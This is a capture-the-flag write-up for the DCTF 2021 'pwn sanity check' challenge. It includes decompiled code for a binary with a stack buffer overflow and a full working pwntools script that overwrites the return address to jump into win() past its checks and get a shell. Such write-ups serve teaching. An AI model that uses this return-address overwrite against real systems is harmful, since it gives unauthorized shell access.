DCTF 2021 - Pwn sanity check

Simple buffer overflow with ret2win.

Description

This should take about 1337 seconds to solve.

nc dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io 7480

Preface

We get a simple binary, with simple input and output.

Overview

Looking at the binary in ghidra, I found these functions.

void vuln(void)
{
  char local_48 [60];
  int local_c;

  puts("tell me a joke");
  fgets(local_48,0x100,stdin);
  if (local_c == -0x21523f22) {
    puts("very good, here is a shell for you. ");
    shell();
  }
  else {
    puts("will this work?");
  }
  return;
}

void shell(void)
{
  puts("spawning /bin/sh process");
  puts("wush!");
  printf("$> ");
  puts("If this is not good enough, you will just have to try harder :)");
  return;
}

void win(int param_1,int param_2)
{
  puts("you made it to win land, no free handouts this time, try harder");
  if (param_1 == -0x21524111) {
    puts("one down, one to go!");
    if (param_2 == 0x1337c0de) {
      puts("2/2 bro good job");
      system("/bin/sh");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  return;
}

From looking at these functions I knew, setting the variable isn't the correct way, because it wasn't a real shell.

But I can jump to win, for a long time I tried to ret2win with all the parameters set. But then I realized, I could just skip the checks. Because if I jump to the offset of win, where the calls where over, I could just ignore the setting of any parameters and get the shell.

My final exploit script was:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
#context.log_level = "DEBUG"
context.log_level = "INFO"

context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']

vulnerable = './pwn_sanity_check'
elf = ELF(vulnerable)

#p = process( vulnerable )
p = remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)

p.readuntil('tell me a joke')

ret_offset = 72
# 60 for buffer 4 for integer and 8 for RBP

win_function = elf.symbols['win']
win_function_shell = win_function + 0x44 # Skipping all parameter checks

p.sendline(b'\x41'*(ret_offset) + p64(win_function_shell))

p.readuntil('will this work')
p.read( 2048, timeout=1 ) # cleanup output
p.interactive()

The complete flag was: dctf{Ju5t_m0v3_0n}


Navigation